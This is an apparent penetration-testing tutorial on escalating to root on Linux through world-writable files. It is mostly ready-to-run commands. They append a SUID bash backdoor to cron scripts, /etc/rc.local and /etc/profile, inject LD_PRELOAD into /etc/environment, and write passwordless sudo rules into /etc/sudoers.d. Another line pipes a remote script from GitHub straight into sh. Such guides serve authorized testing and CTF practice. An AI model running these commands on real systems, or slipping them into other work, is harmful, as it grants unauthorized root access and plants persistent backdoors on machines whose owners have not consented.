Skip to content
HackIndex logo

HackIndex

Weak File Permissions for Linux Privilege Escalation

4 min read Jul 14, 2026

World-writable or group-writable files that are executed or read by root are a direct escalation path. This includes scripts in cron jobs, service configs, init scripts, environment files, and sudo helper scripts. No exploit required — write the file, wait for root to execute it.

Prerequisites Check

Run a broad writable file search immediately — this catches misconfigurations that automated tools sometimes miss:

┌──(kali㉿kali)-[~]
└─$ # World-writable files outside /tmp and /proc
┌──(kali㉿kali)-[~]
└─$ find / -writable -type f 2>/dev/null | grep -v "^/tmp\|^/proc\|^/sys\|^/dev" | head -50
 
┌──(kali㉿kali)-[~]
└─$ # World-writable directories (can replace files inside)
┌──(kali㉿kali)-[~]
└─$ find / -writable -type d 2>/dev/null | grep -v "^/tmp\|^/proc\|^/sys\|^/dev\|^/run" | head -30

Also check files writable by your group:

┌──(kali㉿kali)-[~]
└─$ find / -group $(id -gn) -type f 2>/dev/null | grep -v "^/proc\|^/sys\|^/dev" | head -30

Scripts Executed by Root

The highest impact target — any writable script that root runs via cron, systemd, or init:

┌──(kali㉿kali)-[~]
└─$ # Find writable scripts in common execution paths
┌──(kali㉿kali)-[~]
└─$ find /etc /opt /usr/local -name "*.sh" -writable 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /etc/cron* /var/spool/cron* -writable 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /etc/init.d /etc/rc.d /etc/rc.local -writable 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # Check rc.local specifically — runs as root at boot
┌──(kali㉿kali)-[~]
└─$ ls -la /etc/rc.local 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ cat /etc/rc.local 2>/dev/null

If writable, inject payload:

┌──(kali㉿kali)-[~]
└─$ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /writable/script.sh

Wait for execution, then:

┌──(kali㉿kali)-[~]
└─$ /tmp/.rootbash -p

/etc/rc.local

/etc/rc.local runs at boot as root. If writable:

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/rc.local
┌──(kali㉿kali)-[~]
└─$ # World-writable = direct root code execution at next boot
 
┌──(kali㉿kali)-[~]
└─$ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /etc/rc.local

In labs and CTF boxes this is frequently left world-writable. It fires on the next reboot — in exam contexts, the box may be rebooted as part of the scenario.

/etc/environment and /etc/profile

These files are sourced at login and affect all users including root. If writable, inject a command or PATH manipulation:

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/environment /etc/profile /etc/profile.d/*.sh 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # If /etc/environment is writable
┌──(kali㉿kali)-[~]
└─$ echo 'LD_PRELOAD=/tmp/preload.so' >> /etc/environment
 
┌──(kali㉿kali)-[~]
└─$ # If /etc/profile is writable — injects on every bash login
┌──(kali㉿kali)-[~]
└─$ echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /etc/profile

For the LD_PRELOAD injection technique see https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking.

/etc/sudoers and /etc/sudoers.d/

If writable, add a passwordless sudo rule for your user:

┌──(kali㉿kali)-[~]
└─$ ls -la /etc/sudoers /etc/sudoers.d/ 2>/dev/null
┌──(kali㉿kali)-[~]
└─$ find /etc/sudoers.d/ -writable 2>/dev/null
 
┌──(kali㉿kali)-[~]
└─$ # If a file in /etc/sudoers.d/ is writable
┌──(kali㉿kali)-[~]
└─$ echo "$USER ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/existing-file
 
┌──(kali㉿kali)-[~]
└─$ # Or create a new file (name must contain no dots on some systems)
┌──(kali㉿kali)-[~]
└─$ echo "$USER ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/privesc

Test immediately:

┌──(kali㉿kali)-[~]
└─$ sudo /bin/bash

Writable /etc/passwd or /etc/shadow

Covered in detail at https://hackindex.io/platforms/linux/privilege-escalation/passwd-shadow-manipulation.

Quick check:

┌──(kali㉿kali)-[~]
└─$ test -w /etc/passwd && echo "WRITABLE: /etc/passwd"
┌──(kali㉿kali)-[~]
└─$ test -w /etc/shadow && echo "WRITABLE: /etc/shadow"

World-Writable Directories in Execution Paths

A world-writable directory in PATH is more valuable than a writable file — you can create any binary name there:

# Check directories in PATH
echo $PATH | tr ':' '\n' | while read dir; do
    [ -w "$dir" ] && echo "WRITABLE PATH DIR: $dir"
done

# Check system-wide PATH
grep "PATH=" /etc/environment /etc/profile 2>/dev/null | tr ':' '\n' | while read dir; do
    [ -w "$dir" ] && echo "WRITABLE SYSTEM PATH: $dir"
done

See https://hackindex.io/platforms/linux/privilege-escalation/writable-path-hijacking for the full PATH hijacking workflow.

Writable Python/Perl/Ruby Libraries

If root runs interpreter scripts and the library directory is writable:

┌──(kali㉿kali)-[~]
└─$ # Python
┌──(kali㉿kali)-[~]
└─$ find /usr/lib/python3* /usr/local/lib/python3* -writable -type f 2>/dev/null | head -10
 
┌──(kali㉿kali)-[~]
└─$ # Perl
┌──(kali㉿kali)-[~]
└─$ find /usr/lib/perl5 /usr/share/perl5 -writable -type f 2>/dev/null | head -10

See https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking for Python-specific exploitation.

Automated Detection

LinPEAS detects most writable file issues automatically:

┌──(kali㉿kali)-[~]
└─$ curl -sL https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Look for the "Interesting writable files owned by me or writable by everyone" section in the output.

Also use find directly with tee to save results:

┌──(kali㉿kali)-[~]
└─$ find / -writable -type f 2>/dev/null | grep -v "^/tmp\|^/proc\|^/sys\|^/dev\|^/run\|\.pyc\|home/$USER" | tee /tmp/writable_files.txt

Cross-reference against files executed by root processes using pspy. See https://hackindex.io/platforms/linux/privilege-escalation/privilege-escalation-enumeration-tools.

References